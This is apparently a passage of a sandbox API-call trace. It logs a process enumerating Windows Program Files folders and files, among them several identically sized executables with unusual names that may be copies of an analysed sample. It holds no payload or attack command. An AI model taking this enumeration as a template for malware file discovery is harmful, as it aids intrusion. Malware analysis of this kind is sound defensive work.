	[0087.430] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde0ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1
	[0087.430] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.430] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe304e38c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe304e38c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3bb568, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsSense.exe", cAlternateFileName="")) returned 1
	[0087.430] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0087.430] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6d50060, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d50060, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1
	[0087.431] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.431] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94b149d0, ftCreationTime.dwHighDateTime=0x1d5bdd8, ftLastAccessTime.dwLowDateTime=0xbe249d50, ftLastAccessTime.dwHighDateTime=0x1d568a9, ftLastWriteTime.dwLowDateTime=0xbe249d50, ftLastWriteTime.dwHighDateTime=0x1d568a9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="far.exe", cAlternateFileName="")) returned 1
	[0087.431] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0087.431] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9123675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1
	[0087.433] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.433] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1
	[0087.433] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.433] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1
	[0087.435] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.435] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc4f45c00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1
	[0087.436] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.436] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88286500, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x1c0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1
	[0087.437] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.437] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1
	[0087.437] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.437] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb49bb00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1
	[0087.437] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0087.437] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6dc2801, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6dc2801, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1
	[0087.437] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0087.438] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6d50060, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d50060, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1
	[0087.438] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0087.438] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47cb7852, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbe78b154, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x47cb7852, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x448600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1
	[0087.438] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.438] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f8598a0, ftCreationTime.dwHighDateTime=0x1d57e21, ftLastAccessTime.dwLowDateTime=0xdfc1a110, ftLastAccessTime.dwHighDateTime=0x1d5e8d3, ftLastWriteTime.dwLowDateTime=0xdfc1a110, ftLastWriteTime.dwHighDateTime=0x1d5e8d3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="edcsvr.exe", cAlternateFileName="")) returned 1
	[0087.438] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0087.438] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b88afa, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b88afa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b88afa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1
	[0087.439] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.439] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0
	[0087.439] FindClose (in: hFindFile=0x8120c8 | out: hFindFile=0x8120c8) returned 1
	[0087.439] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0087.440] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6cb796a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6cb796a, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1
	[0087.440] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.440] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19940, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1
	[0087.440] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0087.440] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6d7642f, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d7642f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0087.441] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0087.441] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6d50060, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d50060, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1
	[0087.441] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0087.441] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 1
	[0087.441] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.441] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbba2ef20, ftCreationTime.dwHighDateTime=0x1d5d931, ftLastAccessTime.dwLowDateTime=0x3af2bc10, ftLastAccessTime.dwHighDateTime=0x1d58a54, ftLastWriteTime.dwLowDateTime=0x3af2bc10, ftLastWriteTime.dwHighDateTime=0x1d58a54, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="consultancy.exe", cAlternateFileName="CONSUL~1.EXE")) returned 1
	[0087.441] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0087.442] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6d2a046, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d2a046, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0087.443] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.443] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1136f960, ftCreationTime.dwHighDateTime=0x1d5be0f, ftLastAccessTime.dwLowDateTime=0x681cf9d0, ftLastAccessTime.dwHighDateTime=0x1d57cb2, ftLastWriteTime.dwLowDateTime=0x681cf9d0, ftLastWriteTime.dwHighDateTime=0x1d57cb2, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ncftp.exe", cAlternateFileName="")) returned 1
	[0087.443] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.443] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0
	[0087.443] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0087.443] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0087.443] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1
	[0087.444] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0087.444] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2294c1cd, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2294c1cd, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x293a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="APPXSI~1.P7X")) returned 1
	[0087.886] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0087.886] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a0ae1c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x22a0ae1c, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="list.scale-100.png", cAlternateFileName="LISTSC~1.PNG")) returned 1
	[0087.902] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0087.902] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a572ca, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x22a572ca, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x181, dwReserved0=0x0, dwReserved1=0x0, cFileName="search.scale-100.png", cAlternateFileName="SEARCH~1.PNG")) returned 1
	[0087.936] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0087.937] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2310be20, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2310be20, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0xeb58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="clrcompression.dll", cAlternateFileName="CLRCOM~1.DLL")) returned 1
	[0087.941] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0087.941] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3002ee68, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa967c915, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3002ee68, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0087.944] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2313207f, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2313207f, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x136470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="RESOUR~1.PRI")) returned 1
	[0087.945] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa967d4bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deleted", cAlternateFileName="")) returned 1
	[0087.947] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0087.947] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96c0f12e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3c9c41d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3c9c41d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.0_N")) returned 1
	[0088.797] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0088.797] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8c8b9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96db2b17, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96db2b17, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0088.797] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0088.797] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb3c9c41d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xa973141d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3c9c41d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0088.797] FindClose (in: hFindFile=0x811e08 | out: hFindFile=0x811e08) returned 1
	[0088.797] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
